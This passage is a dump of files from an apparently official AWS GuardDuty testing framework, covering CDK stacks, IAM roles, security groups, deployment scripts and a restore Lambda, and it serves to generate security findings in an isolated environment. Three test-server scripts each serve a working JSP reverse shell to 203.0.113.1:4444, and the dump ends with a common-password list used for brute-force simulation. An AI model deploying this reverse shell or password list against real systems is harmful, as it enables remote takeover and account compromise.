/asset-output'], 42 | }, 43 | }), 44 | timeout: Duration.seconds(900), 45 | role: new FindingLambdaRole(this, 'ExecutionRole', props).role, 46 | }); 47 | 48 | this.functionName = func.functionName; 49 | this.functionArn = func.functionArn; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /lib/stacks/constants.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Tag } from 'aws-cdk-lib'; 15 | import { InstanceClass, InstanceSize, InstanceType } from 'aws-cdk-lib/aws-ec2'; 16 | 17 | // Constant hard coded names of testing environment resources 18 | export const EKS_CLUSTER_NAME: string = 'EksGuardDutyTester'; 19 | export const ECS_CLUSTER_NAME: string = 'EcsGuardDutyTester'; 20 | export const ECR_REPO_NAME: string = 'gd-eks-tester'; 21 | export const ASG_NAME: string = 'GuardDutyTesterASG'; 22 | export const TRAIL_NAME: string = 'GuardDutyTesterCloudTrail'; 23 | export const DEBIAN_INSTANCE_NAME: string = 'Debian-GuardDutyTester'; 24 | export const WINDOWS_INSTANCE_NAME: string = 'Windows-GuardDutyTester'; 25 | export const UBUNTU_INSTANCE_NAME: string = 'Ubuntu-GuardDutyTester'; 26 | export const ECS_INSTANCE_NAME: string = 'Driver-GuardDutyTester'; 27 | export const EKS_INSTANCE_NAME: string = 'Kube-GuardDutyTester'; 28 | export const DRIVER_INSTANCE_TYPE: InstanceType = InstanceType.of(InstanceClass.M6I, InstanceSize.LARGE); 29 | export const EC2_INSTANCE_TYPE: InstanceType = InstanceType.of(InstanceClass.T3, InstanceSize.MICRO); 30 | export const UBUNTU_INSTANCE_TYPE: InstanceType = InstanceType.of(InstanceClass.T3, InstanceSize.MEDIUM); 31 | export const CREATED_BY_TAG: Tag = new Tag('CreatedBy', 'GuardDuty Test Script'); 32 | export const INSTANCE_TAG: Tag = new Tag('GuardDutyTestFramework', 'Instance'); 33 | export const EC2_TASK_FAMILY: string = 'EcsEc2GuardDutyTest'; 34 | export const FARGATE_TASK_FAMILY: string = 'EcsFargateGuardDutyTest'; 35 | -------------------------------------------------------------------------------- /lib/common/network/vpc.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { RemovalPolicy } from 'aws-cdk-lib'; 15 | import { InterfaceVpcEndpoint, InterfaceVpcEndpointService, IpAddresses, SubnetType, Vpc } from 'aws-cdk-lib/aws-ec2'; 16 | import { Construct } from 'constructs'; 17 | 18 | export interface VpcProps { 19 | region: string; 20 | } 21 | 22 | /** 23 | * VPC infrastructure for GuardDuty tester 24 | * Two subnets over two availability zones 25 | */ 26 | export class CdkGdTesterVPC extends Construct { 27 | public readonly vpc: Vpc; 28 | constructor(scope: Construct, id: string, props: VpcProps) { 29 | super(scope, id); 30 | 31 | const quarterSplitMask = 26; 32 | 33 | this.vpc = new Vpc(this, 'vpc', { 34 | ipAddresses: IpAddresses.cidr('172.16.0.0/24'), 35 | maxAzs: 2, 36 | subnetConfiguration: [ 37 | { 38 | cidrMask: quarterSplitMask, 39 | name: 'private-subnet', 40 | subnetType: SubnetType.PRIVATE_WITH_EGRESS, 41 | }, 42 | { 43 | cidrMask: quarterSplitMask, 44 | name: 'public-subnet', 45 | subnetType: SubnetType.PUBLIC, 46 | }, 47 | ], 48 | }); 49 | 50 | // GuardDuty runtime monitoring vpc endpoint 51 | const vpcEndpoint = new InterfaceVpcEndpoint(this, 'GuardDutyEndpoint', { 52 | vpc: this.vpc, 53 | service: new InterfaceVpcEndpointService(`com.amazonaws.${props.region}.guardduty-data`, 443), 54 | privateDnsEnabled: true, 55 | }); 56 | 57 | vpcEndpoint.applyRemovalPolicy(RemovalPolicy.DESTROY); 58 | this.vpc.applyRemovalPolicy(RemovalPolicy.DESTROY); 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /lib/common/access/securityGroup/debian-security-group.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { CfnEIP, Peer, Port, SecurityGroup } from 'aws-cdk-lib/aws-ec2'; 15 | import { Construct } from 'constructs'; 16 | 17 | import { type SecGroupProps } from './security-group-props'; 18 | 19 | /** 20 | * Defines the permissible traffic to and from the Debian Linux Instance 21 | */ 22 | export class DebianSecurityGroup extends Construct { 23 | public readonly sg: SecurityGroup; 24 | 25 | constructor(scope: Construct, id: string, props: SecGroupProps) { 26 | super(scope, id); 27 | this.sg = new SecurityGroup(this, id, { 28 | vpc: props.vpc, 29 | allowAllOutbound: true, 30 | }); 31 | 32 | // Add ingress rules for NAT Gateway EIPs 33 | props.vpc.publicSubnets.forEach((subnet, index) => { 34 | const eipAllocation = subnet.node.findChild('EIP') as CfnEIP; 35 | if (eipAllocation) { 36 | this.sg.addIngressRule( 37 | Peer.ipv4(eipAllocation.attrPublicIp + '/32'), 38 | Port.allTraffic(), 39 | `Allow traffic from NAT Gateway ${index + 1}`, 40 | ); 41 | } 42 | }); 43 | 44 | // allow TCP, UDP from within the VPC 45 | this.sg.addIngressRule(Peer.ipv4(props.vpc.vpcCidrBlock), Port.tcp(8009), 'allow tcp connection from within vpc'); // for ec2 malicious IP custom finding 46 | this.sg.addIngressRule(Peer.ipv4(props.vpc.vpcCidrBlock), Port.tcp(22), 'allow ssh connection from within vpc'); // for ssh brute force finding 47 | this.sg.addIngressRule( 48 | Peer.ipv4(props.vpc.vpcCidrBlock), 49 | Port.udp(80), 50 | 'allow udp port 80 connection from within vpc', 51 | ); // for udp dos finding 52 | this.sg.addIngressRule( 53 | Peer.ipv4(props.vpc.vpcCidrBlock), 54 | Port.udp(53), 55 | 'allow udp port 53 connection from within vpc', 56 | ); // for dns dos finding 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /bin/cdk-gd-tester.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"). 5 | // You may not use this file except in compliance with the License. 6 | // A copy of the License is located at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // or in the "license" file accompanying this file. This file is distributed 11 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 12 | // express or implied. See the License for the specific language governing 13 | // permissions and limitations under the License. 14 | 15 | import "source-map-support/register"; 16 | import { App } from "aws-cdk-lib"; 17 | import { GuardDutyTesterStack } from "../lib/stacks/tester-stack"; 18 | 19 | const account: string = ""; 20 | const region: string = ""; 21 | 22 | const validRegions: string[] = [ 23 | "eu-west-1", 24 | "us-east-1", 25 | "us-west-2", 26 | "eu-west-3", 27 | "us-east-2", 28 | "eu-central-1", 29 | "ap-northeast-2", 30 | "eu-north-1", 31 | "ap-east-1", 32 | "me-south-1", 33 | "eu-west-2", 34 | "ap-northeast-1", 35 | "ap-southeast-1", 36 | "ap-south-1", 37 | "ap-southeast-3", 38 | "sa-east-1", 39 | "ap-northeast-3", 40 | "eu-south-1", 41 | "af-south-1", 42 | "ap-southeast-2", 43 | "me-central-1", 44 | "us-west-1", 45 | "ca-central-1", 46 | "ap-south-2", 47 | "eu-south-2", 48 | "eu-central-2", 49 | "ap-southeast-4", 50 | "il-central-1", 51 | ]; 52 | 53 | if ( 54 | (!region && 55 | process.env.CDK_DEFAULT_REGION && 56 | !validRegions.includes(process.env.CDK_DEFAULT_REGION)) || 57 | (region && !validRegions.includes(region)) 58 | ) { 59 | const errorMessage: string = `INVALID REGION 60 | Please set region to valid deployment region! 61 | Either set CDK_DEFAULT_REGION through AWS CLI or environment variables 62 | see https://docs.aws.amazon.com/cli/latest/reference/configure/set.html 63 | Alternatively, set the region variable in /bin/cdk-gd-tester.ts file 64 | `; 65 | 66 | throw new Error(errorMessage); 67 | } 68 | 69 | const app = new App(); 70 | 71 | new GuardDutyTesterStack(app, "GuardDutyTesterStack", { 72 | description: 73 | "VPC infrastructure and other cloud resources for an isolated GuardDuty testing environment.", 74 | env: { 75 | account: account || process.env.CDK_DEFAULT_ACCOUNT, 76 | region: region || process.env.CDK_DEFAULT_REGION, 77 | }, 78 | }); 79 | -------------------------------------------------------------------------------- /lib/common/testResources/script_tail.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | if [ -f ec2.sh ]; then 15 | COMMAND="aws s3 cp s3://$S3_BUCKET_NAME/remote/ec2.sh . && bash ec2.sh" 16 | PARAMS='commands="'$COMMAND'"' 17 | 18 | aws ssm send-command --document-name "AWS-RunShellScript" --instance-ids $LINUX_INSTANCE --parameters "$PARAMS" > /dev/null 19 | rm ec2.sh 20 | fi 21 | 22 | if [ -f eks.sh ]; then 23 | echo '$@' >> eks.sh 24 | 25 | POD="gd-eks-runtime-tester" 26 | REPO_NAME="gd-eks-tester" 27 | 28 | # update config and delete pod if exists 29 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 30 | kubectl delete pod $POD > /dev/null 2>&1 31 | 32 | # build docker image with specified tests and push to ECR 33 | IMAGE="$ACCNT_ID.dkr.ecr.$REGION.amazonaws.com/$REPO_NAME:latest" 34 | sudo docker build --platform=linux/amd64 -t $IMAGE ./ 35 | aws ecr get-login-password --region $REGION | sudo docker login --username AWS --password-stdin $ACCNT_ID.dkr.ecr.$REGION.amazonaws.com 36 | aws ecr create-repository --repository-name $REPO_NAME --region $REGION > /dev/null 37 | sudo docker push $IMAGE 38 | 39 | # deploy pod 40 | kubectl apply -f -< {'account_id':'', 'region': '', 'guardduty_settings':[{}], 'detector_id':'', 'accnt_pub_block':''} 18 | 19 | SUCCESS = 'Success' 20 | FAILURE = 'Failure' 21 | 22 | def lambda_handler(event: dict, context: LambdaContext) -> dict: 23 | response = {} 24 | 25 | restore_guardduty(event, response) 26 | restore_accnt_pub_block_settings(event, response) 27 | 28 | if not response: 29 | response['NoUpdates'] = SUCCESS 30 | 31 | return response 32 | 33 | 34 | def restore_guardduty(event: dict, response: dict) -> None: 35 | guardduty_settings = event['guardduty_settings'] 36 | if not guardduty_settings: 37 | return 38 | 39 | client = boto3.client('guardduty', region_name=event['region']) 40 | detector_id = event['detector_id'] 41 | 42 | try: 43 | client.update_detector( 44 | DetectorId=detector_id, 45 | Enable=True, 46 | Features=guardduty_settings 47 | ) 48 | response['GuardDutyRestore'] = SUCCESS 49 | except Exception as e: 50 | response['GuardDutyRestore'] = FAILURE 51 | response['GuardDutyError'] = e.args 52 | 53 | 54 | def restore_accnt_pub_block_settings(event: dict, response: dict) -> None: 55 | accnt_pub_block_settings = event['accnt_pub_block'] 56 | if not accnt_pub_block_settings: 57 | return 58 | 59 | s3control = boto3.client('s3control', region_name=event['region']) 60 | 61 | try: 62 | if "PublicAccessBlockDefault" in accnt_pub_block_settings: 63 | s3control.delete_public_access_block( 64 | AccountId=event['account_id'] 65 | ) 66 | else: 67 | s3control.put_public_access_block( 68 | AccountId=event['account_id'], 69 | PublicAccessBlockConfiguration=accnt_pub_block_settings 70 | ) 71 | response['BlockPublicAccessRestore'] = SUCCESS 72 | except Exception as e: 73 | response['BlockPublicAccessRestore'] = FAILURE 74 | response['BlockPulicAccessError'] = e.args 75 | -------------------------------------------------------------------------------- /lib/common/access/iam/settings-lambda-role.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Effect, PolicyDocument, PolicyStatement, Role, ServicePrincipal } from 'aws-cdk-lib/aws-iam'; 15 | import { Construct } from 'constructs'; 16 | 17 | import { SettingRestorationLambdaProps } from '../../compute/lambda/test-settings-lambda'; 18 | 19 | /** 20 | * IAM role for Setting Restore lambda 21 | */ 22 | export class SettingRestorationLambdaRole extends Construct { 23 | public readonly role: Role; 24 | constructor(scope: Construct, id: string, props: SettingRestorationLambdaProps) { 25 | super(scope, id); 26 | this.role = new Role(this, id, { 27 | assumedBy: new ServicePrincipal('lambda.amazonaws.com'), 28 | inlinePolicies: { 29 | SettingRestorationLambdaPolicy: new PolicyDocument({ 30 | statements: [ 31 | new PolicyStatement({ 32 | sid: 'LambdaLogging', 33 | effect: Effect.ALLOW, 34 | actions: ['logs:CreateLogGroup', 'logs:CreateLogStream', 'logs:PutLogEvents'], 35 | resources: [`arn:aws:logs:${props.region}:${props.accountId}:*`], 36 | }), 37 | new PolicyStatement({ 38 | sid: 'RestoreGuardDutySettings', 39 | effect: Effect.ALLOW, 40 | actions: ['guardduty:UpdateDetector'], 41 | resources: [`arn:aws:guardduty:${props.region}:${props.accountId}:detector/*`], 42 | }), 43 | new PolicyStatement({ 44 | sid: 'GuardDutyServicePolicy', 45 | effect: Effect.ALLOW, 46 | actions: ['iam:GetRole', 'iam:PutRolePolicy'], 47 | resources: [ 48 | `arn:aws:iam::${props.accountId}:role/aws-service-role/guardduty.amazonaws.com/AWSServiceRoleForAmazonGuardDuty`, 49 | `arn:aws:iam::${props.accountId}:role/aws-service-role/guardduty.amazonaws.com/AWSServiceRoleForAmazonGuardDutyMalwareProtection`, 50 | ], 51 | }), 52 | new PolicyStatement({ 53 | sid: 'RestoreS3PublicAccessBlock', 54 | effect: Effect.ALLOW, 55 | actions: ['s3:PutAccountPublicAccessBlock'], 56 | resources: ['*'], 57 | }), 58 | ], 59 | }), 60 | }, 61 | }); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /lib/common/access/iam/debian-role.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Effect, ManagedPolicy, PolicyDocument, PolicyStatement, Role, ServicePrincipal } from 'aws-cdk-lib/aws-iam'; 15 | import { Construct } from 'constructs'; 16 | 17 | export interface DebianRoleProps { 18 | bucketName: string; 19 | accountId: string; 20 | region: string; 21 | eks: string; 22 | tempRoleArn: string; 23 | } 24 | 25 | /** 26 | * Define IAM Role assumed by Debian Linux Instance 27 | * Gives permissions required to run specific subset 28 | * of the tests on the Debian Instance 29 | */ 30 | export class DebianLinuxRole extends Construct { 31 | public readonly role: Role; 32 | constructor(scope: Construct, id: string, props: DebianRoleProps) { 33 | super(scope, id); 34 | 35 | this.role = new Role(this, id, { 36 | assumedBy: new ServicePrincipal('ec2.amazonaws.com'), 37 | managedPolicies: [ManagedPolicy.fromAwsManagedPolicyName('AmazonSSMManagedInstanceCore')], 38 | inlinePolicies: { 39 | DebianInlinePolicy: new PolicyDocument({ 40 | statements: [ 41 | new PolicyStatement({ 42 | sid: 'S3FindingSpecific', 43 | effect: Effect.ALLOW, 44 | actions: ['s3:GetObject', 's3:ListBucket'], 45 | resources: [`arn:aws:s3:::${props.bucketName}`, `arn:aws:s3:::${props.bucketName}/*`], 46 | }), 47 | new PolicyStatement({ 48 | sid: 'S3Finding', 49 | effect: Effect.ALLOW, 50 | actions: ['s3:ListAllMyBuckets'], 51 | resources: ['*'], 52 | }), 53 | new PolicyStatement({ 54 | sid: 'IamFinding', 55 | effect: Effect.ALLOW, 56 | actions: ['iam:GetUser'], 57 | resources: [`arn:aws:iam::${props.accountId}:user/*`], 58 | }), 59 | new PolicyStatement({ 60 | sid: 'AssumeTempRole', 61 | effect: Effect.ALLOW, 62 | actions: ['sts:AssumeRole'], 63 | resources: [props.tempRoleArn], 64 | }), 65 | new PolicyStatement({ 66 | sid: 'KubectlPermissions', 67 | effect: Effect.ALLOW, 68 | actions: ['eks:DescribeCluster', 'eks:DescribeNodegroup'], 69 | resources: [`arn:aws:eks:${props.region}:${props.accountId}:cluster/${props.eks}`], 70 | }), 71 | ], 72 | }), 73 | }, 74 | }); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /cdk.json: -------------------------------------------------------------------------------- 1 | { 2 | "app": "npx ts-node --prefer-ts-exts bin/cdk-gd-tester.ts", 3 | "watch": { 4 | "include": [ 5 | "**" 6 | ], 7 | "exclude": [ 8 | "README.md", 9 | "cdk*.json", 10 | "**/*.d.ts", 11 | "**/*.js", 12 | "tsconfig.json", 13 | "package*.json", 14 | "yarn.lock", 15 | "node_modules", 16 | "test" 17 | ] 18 | }, 19 | "context": { 20 | "@aws-cdk/aws-lambda:recognizeLayerVersion": true, 21 | "@aws-cdk/core:checkSecretUsage": true, 22 | "@aws-cdk/core:target-partitions": [ 23 | "aws", 24 | "aws-cn" 25 | ], 26 | "@aws-cdk-containers/ecs-service-extensions:enableDefaultLogDriver": true, 27 | "@aws-cdk/aws-ec2:uniqueImdsv2TemplateName": true, 28 | "@aws-cdk/aws-ecs:arnFormatIncludesClusterName": true, 29 | "@aws-cdk/aws-iam:minimizePolicies": true, 30 | "@aws-cdk/core:validateSnapshotRemovalPolicy": true, 31 | "@aws-cdk/aws-codepipeline:crossAccountKeyAliasStackSafeResourceName": true, 32 | "@aws-cdk/aws-s3:createDefaultLoggingPolicy": true, 33 | "@aws-cdk/aws-sns-subscriptions:restrictSqsDescryption": true, 34 | "@aws-cdk/aws-apigateway:disableCloudWatchRole": true, 35 | "@aws-cdk/core:enablePartitionLiterals": true, 36 | "@aws-cdk/aws-events:eventsTargetQueueSameAccount": true, 37 | "@aws-cdk/aws-iam:standardizedServicePrincipals": true, 38 | "@aws-cdk/aws-ecs:disableExplicitDeploymentControllerForCircuitBreaker": true, 39 | "@aws-cdk/aws-iam:importedRoleStackSafeDefaultPolicyName": true, 40 | "@aws-cdk/aws-s3:serverAccessLogsUseBucketPolicy": true, 41 | "@aws-cdk/aws-route53-patters:useCertificate": true, 42 | "@aws-cdk/customresources:installLatestAwsSdkDefault": false, 43 | "@aws-cdk/aws-rds:databaseProxyUniqueResourceName": true, 44 | "@aws-cdk/aws-codedeploy:removeAlarmsFromDeploymentGroup": true, 45 | "@aws-cdk/aws-apigateway:authorizerChangeDeploymentLogicalId": true, 46 | "@aws-cdk/aws-ec2:launchTemplateDefaultUserData": true, 47 | "@aws-cdk/aws-secretsmanager:useAttachedSecretResourcePolicyForSecretTargetAttachments": true, 48 | "@aws-cdk/aws-redshift:columnId": true, 49 | "@aws-cdk/aws-stepfunctions-tasks:enableEmrServicePolicyV2": true, 50 | "@aws-cdk/aws-ec2:restrictDefaultSecurityGroup": true, 51 | "@aws-cdk/aws-apigateway:requestValidatorUniqueId": true, 52 | "@aws-cdk/aws-kms:aliasNameRef": true, 53 | "@aws-cdk/aws-autoscaling:generateLaunchTemplateInsteadOfLaunchConfig": true, 54 | "@aws-cdk/core:includePrefixInUniqueNameGeneration": true, 55 | "@aws-cdk/aws-efs:denyAnonymousAccess": true, 56 | "@aws-cdk/aws-opensearchservice:enableOpensearchMultiAzWithStandby": true, 57 | "@aws-cdk/aws-lambda-nodejs:useLatestRuntimeVersion": true, 58 | "@aws-cdk/aws-efs:mountTargetOrderInsensitiveLogicalId": true, 59 | "@aws-cdk/aws-rds:auroraClusterChangeScopeOfInstanceParameterGroupWithEachParameters": true, 60 | "@aws-cdk/aws-appsync:useArnForSourceApiAssociationIdentifier": true, 61 | "@aws-cdk/aws-rds:preventRenderingDeprecatedCredentials": true, 62 | "@aws-cdk/aws-codepipeline-actions:useNewDefaultBranchForCodeCommitSource": true 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/php-webshell/files/python_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from http.server import HTTPServer, BaseHTTPRequestHandler 3 | 4 | class Handler(BaseHTTPRequestHandler): 5 | def do_GET(self): 6 | if self.path == '/text': 7 | self.send_response(200) 8 | self.send_header('Content-type', 'text/plain') 9 | self.end_headers() 10 | self.wfile.write(b'''<%@ page import="java.net.*, java.io.*" %> 11 | <% 12 | String host="203.0.113.1"; 13 | int port=4444; 14 | String cmd="/bin/sh"; 15 | out.println("Starting reverse shell!"); 16 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); 17 | Socket s=new Socket(host,port); 18 | InputStream pi=p.getInputStream(), 19 | pe=p.getErrorStream(), 20 | si=s.getInputStream(); 21 | OutputStream po=p.getOutputStream(),so=s.getOutputStream(); 22 | while(!s.isClosed()) { 23 | while(pi.available()>0) 24 | so.write(pi.read()); 25 | while(pe.available()>0) 26 | so.write(pe.read()); 27 | while(si.available()>0) 28 | po.write(si.read()); 29 | so.flush(); 30 | po.flush(); 31 | Thread.sleep(50); 32 | try { 33 | p.exitValue(); 34 | break; 35 | } 36 | catch (Exception e){ 37 | } 38 | }; 39 | p.destroy(); 40 | s.close(); 41 | %> 42 | ''') 43 | elif self.path == '/ls': 44 | try: 45 | with open('/bin/ls', 'rb') as f: 46 | data = f.read() 47 | self.send_response(200) 48 | self.send_header('Content-type', 'application/octet-stream') 49 | self.send_header('Content-Length', str(len(data))) 50 | self.end_headers() 51 | self.wfile.write(data) 52 | except FileNotFoundError: 53 | self.send_response(404) 54 | self.end_headers() 55 | else: 56 | self.send_response(404) 57 | self.end_headers() 58 | 59 | if __name__ == '__main__': 60 | server = HTTPServer(('localhost', 8081), Handler) 61 | print("Server running on http://localhost:8081") 62 | server.serve_forever() 63 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/hadoop-yarn-job/files/python_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from http.server import HTTPServer, BaseHTTPRequestHandler 3 | 4 | class Handler(BaseHTTPRequestHandler): 5 | def do_GET(self): 6 | if self.path == '/text': 7 | self.send_response(200) 8 | self.send_header('Content-type', 'text/plain') 9 | self.end_headers() 10 | self.wfile.write(b'''<%@ page import="java.net.*, java.io.*" %> 11 | <% 12 | String host="203.0.113.1"; 13 | int port=4444; 14 | String cmd="/bin/sh"; 15 | out.println("Starting reverse shell!"); 16 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); 17 | Socket s=new Socket(host,port); 18 | InputStream pi=p.getInputStream(), 19 | pe=p.getErrorStream(), 20 | si=s.getInputStream(); 21 | OutputStream po=p.getOutputStream(),so=s.getOutputStream(); 22 | while(!s.isClosed()) { 23 | while(pi.available()>0) 24 | so.write(pi.read()); 25 | while(pe.available()>0) 26 | so.write(pe.read()); 27 | while(si.available()>0) 28 | po.write(si.read()); 29 | so.flush(); 30 | po.flush(); 31 | Thread.sleep(50); 32 | try { 33 | p.exitValue(); 34 | break; 35 | } 36 | catch (Exception e){ 37 | } 38 | }; 39 | p.destroy(); 40 | s.close(); 41 | %> 42 | ''') 43 | elif self.path == '/ls': 44 | try: 45 | with open('/bin/ls', 'rb') as f: 46 | data = f.read() 47 | self.send_response(200) 48 | self.send_header('Content-type', 'application/octet-stream') 49 | self.send_header('Content-Length', str(len(data))) 50 | self.end_headers() 51 | self.wfile.write(data) 52 | except FileNotFoundError: 53 | self.send_response(404) 54 | self.end_headers() 55 | else: 56 | self.send_response(404) 57 | self.end_headers() 58 | 59 | if __name__ == '__main__': 60 | server = HTTPServer(('localhost', 8081), Handler) 61 | print("Server running on http://localhost:8081") 62 | server.serve_forever() 63 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/java-webshell/files/python_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from http.server import HTTPServer, BaseHTTPRequestHandler 3 | 4 | class Handler(BaseHTTPRequestHandler): 5 | def do_GET(self): 6 | if self.path == '/text': 7 | self.send_response(200) 8 | self.send_header('Content-type', 'text/plain') 9 | self.end_headers() 10 | self.wfile.write(b'''<%@ page import="java.net.*, java.io.*" %> 11 | <% 12 | String host="203.0.113.1"; 13 | int port=4444; 14 | String cmd="/bin/sh"; 15 | out.println("Starting reverse shell!"); 16 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); 17 | Socket s=new Socket(host,port); 18 | InputStream pi=p.getInputStream(), 19 | pe=p.getErrorStream(), 20 | si=s.getInputStream(); 21 | OutputStream po=p.getOutputStream(),so=s.getOutputStream(); 22 | while(!s.isClosed()) { 23 | while(pi.available()>0) 24 | so.write(pi.read()); 25 | while(pe.available()>0) 26 | so.write(pe.read()); 27 | while(si.available()>0) 28 | po.write(si.read()); 29 | so.flush(); 30 | po.flush(); 31 | Thread.sleep(50); 32 | try { 33 | p.exitValue(); 34 | break; 35 | } 36 | catch (Exception e){ 37 | } 38 | }; 39 | p.destroy(); 40 | s.close(); 41 | %> 42 | ''') 43 | elif self.path == '/ls': 44 | try: 45 | with open('/bin/ls', 'rb') as f: 46 | data = f.read() 47 | self.send_response(200) 48 | self.send_header('Content-type', 'application/octet-stream') 49 | self.send_header('Content-Length', str(len(data))) 50 | self.end_headers() 51 | self.wfile.write(data) 52 | except FileNotFoundError: 53 | self.send_response(404) 54 | self.end_headers() 55 | else: 56 | self.send_response(404) 57 | self.end_headers() 58 | 59 | if __name__ == '__main__': 60 | server = HTTPServer(('localhost', 8081), Handler) 61 | print("Server running on http://localhost:8081") 62 | server.serve_forever() 63 | -------------------------------------------------------------------------------- /artifacts/password_list.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | password 3 | 12345678 4 | 1234 5 | 12345 6 | dragon 7 | qwerty 8 | 696969 9 | mustang 10 | letmein 11 | baseball 12 | master 13 | michael 14 | football 15 | shadow 16 | monkey 17 | abc123 18 | pass 19 | 6969 20 | jordan 21 | harley 22 | ranger 23 | iwantu 24 | jennifer 25 | hunter 26 | 2000 27 | test 28 | batman 29 | trustno1 30 | thomas 31 | tigger 32 | robert 33 | access 34 | love 35 | buster 36 | 1234567 37 | soccer 38 | hockey 39 | killer 40 | george 41 | sexy 42 | andrew 43 | charlie 44 | superman 45 | dallas 46 | jessica 47 | pepper 48 | 1111 49 | austin 50 | william 51 | daniel 52 | golfer 53 | summer 54 | heather 55 | hammer 56 | yankees 57 | joshua 58 | maggie 59 | biteme 60 | enter 61 | ashley 62 | thunder 63 | cowboy 64 | silver 65 | richard 66 | orange 67 | merlin 68 | michelle 69 | corvette 70 | bigdog 71 | cheese 72 | matthew 73 | 121212 74 | patrick 75 | martin 76 | freedom 77 | ginger 78 | nicole 79 | sparky 80 | yellow 81 | camaro 82 | secret 83 | falcon 84 | taylor 85 | 111111 86 | 131313 87 | 123123 88 | hello 89 | scooter 90 | please 91 | porsche 92 | guitar 93 | chelsea 94 | black 95 | diamond 96 | nascar 97 | jackson 98 | cameron 99 | 654321 100 | computer 101 | amanda 102 | wizard 103 | xxxxxxxx 104 | money 105 | phoenix 106 | mickey 107 | bailey 108 | knight 109 | iceman 110 | tigers 111 | purple 112 | andrea 113 | dakota 114 | aaaaaa 115 | player 116 | sunshine 117 | morgan 118 | starwars 119 | boomer 120 | cowboys 121 | edward 122 | charles 123 | girls 124 | booboo 125 | coffee 126 | xxxxxx 127 | bulldog 128 | ncc1701 129 | rabbit 130 | peanut 131 | john 132 | johnny 133 | gandalf 134 | spanky 135 | winter 136 | brandy 137 | compaq 138 | carlos 139 | tennis 140 | james 141 | mike 142 | brandon 143 | fender 144 | anthony 145 | ferrari 146 | cookie 147 | chicken 148 | maverick 149 | chicago 150 | joseph 151 | diablo 152 | 666666 153 | willie 154 | welcome 155 | chris 156 | panther 157 | yamaha 158 | justin 159 | banana 160 | driver 161 | marine 